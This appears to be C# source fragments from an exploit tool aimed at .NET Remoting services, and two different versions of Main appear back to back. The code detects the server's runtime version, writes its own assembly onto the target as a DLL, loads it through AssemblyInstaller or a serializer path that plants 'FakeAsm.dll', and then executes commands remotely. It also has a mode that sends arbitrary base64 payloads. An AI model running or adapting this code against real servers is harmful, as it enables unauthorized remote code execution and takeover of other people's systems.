static int Main(string[] args)
{
if (ProcessArgs(args))
{
try
{
var channel = new CustomChannel(_uri, BindStream, GetMessageObject,
_null_uri, !string.IsNullOrEmpty(_output_path));
if (_cmd.Equals("raw"))
{
if (_cmdargs.Count != 1)
{
Console.Error.WriteLine("Must specify base64 encoded string or a file containing the raw data.");
}
else
{
string path = _cmdargs.First();
byte[] data;
if (File.Exists(path))
{
data = File.ReadAllBytes(path);
}
else
{
data = Convert.FromBase64String(path);
}
Console.WriteLine(channel.SendRequest(data));
}
}
else
{
SetupServer();
if (_ver == 0 && !_useser)
{
_ver = DetectMajorVersion(channel);
Console.WriteLine("Detected version {0} server", _ver);
}
IRemoteClass ret = CreateRemoteClass(channel);
ExecuteCommand(ret);
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
return(1);
}
return(0);
}
else
{
return(1);
}
}
private static IRemoteClass CreateRemoteClass(CustomChannel channel)
{
if (_useser)
{
return(CreateRemoteClassSerial(channel));
}
else
{
return(CreateRemoteClassExploit(channel));
}
}
private static IRemoteClass CreateRemoteClassExploit(CustomChannel channel)
{
string path;
if (_uri.Scheme != "ipc")
{
IRemoteClass ret = GetExistingRemoteClass();
try
{
ret.ToString();
return(ret);
}
catch (RemotingException)
{
}
path = channel.MakeCall <string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"));
path = Path.Combine(path, $"{Guid.NewGuid()}.dll");
channel.MakeCall(_uri.AbsolutePath, GetStaticMethod(typeof(File), "WriteAllBytes",
new Type[] { typeof(string), typeof(byte[]) }),
path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location));
}
else
{
path = typeof(IRemoteClass).Assembly.Location;
}
try
{
AssemblyInstaller installer = channel.MakeCall <AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance <AssemblyInstaller>());
installer.Path = path;
installer.CommandLine = new string[] { "/name=" + _remotename };
installer.UseNewContext = true;
installer.Install(new Hashtable());
}
catch
{
// In the IPC case this might fail
// Just continue on with the creation of the remote class and see if we're lucky
}
return(GetExistingRemoteClass());
}
static int Main(string[] args)
{
if (ProcessArgs(args))
{
try
{
SetupServer();
var channel = new CustomChannel(_uri, BindStream, GetMessageObject, _null_uri);
if (_cmd.Equals("raw"))
{
if (_cmdargs.Count != 1)
{
Console.Error.WriteLine("Must specify base64 encoded object");
}
else
{
Console.WriteLine(channel.SendRequest(Convert.FromBase64String(_cmdargs.First())));
}
}
else
{
if (_ver == 0 && !_useser)
{
_ver = DetectMajorVersion(channel);
Console.WriteLine("Detected version {0} server", _ver);
}
IRemoteClass ret = CreateRemoteClass(channel);
ExecuteCommand(ret);
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
return(1);
}
return(0);
}
else
{
return(1);
}
}
static int DetectMajorVersion(CustomChannel channel)
{
Version ver = null;
if (!_useser)
{
try
{
ver = channel.MakeCall <Version>(_uri.AbsolutePath, GetProperty(typeof(Environment), "Version"));
}
catch
{
}
}
if (ver == null)
{
ver = Environment.Version;
Console.WriteLine("Error, couldn't detect version, using host: {0}", ver);
}
return(ver.Major);
}
public SerializerRemoteClass(CustomChannel channel, ILease lease)
{
_channel = channel;
_lease = lease;
}
private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
{
ILease lease = null;
if (_uselease)
{
lease = channel.MakeCall <ILease>(_uri.AbsolutePath, typeof(MarshalByRefObject).GetMethod("InitializeLifetimeService"));
}
SerializerRemoteClass remote = new SerializerRemoteClass(channel, lease);
if (!string.IsNullOrWhiteSpace(_installdir) || _autodir)
{
if (_autodir)
{
DirectoryInfo curr_dir = remote.GetDirectory(".");
_installdir = curr_dir.FullName;
}
string path = Path.Combine(_installdir, "FakeAsm.dll");
bool installed = true;
try
{
installed = remote.FileExists(path);
}
catch (Exception ex)
{
Trace.WriteLine(ex.ToString());
}
if (!installed)
{
try
{
remote.WriteFile(path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location));
}
catch
{
}
}
try
{
Trace.WriteLine(string.Format("{0}", channel.SendRequest(new SerializableRegister(_remotename), false)));
}
catch
{
}
}
try
{
IRemoteClass ret = GetExistingRemoteClass();
ret.ToString();
return(ret);
}
catch (Exception ex)
{
Trace.WriteLine(ex.ToString());
}
return(remote);
}
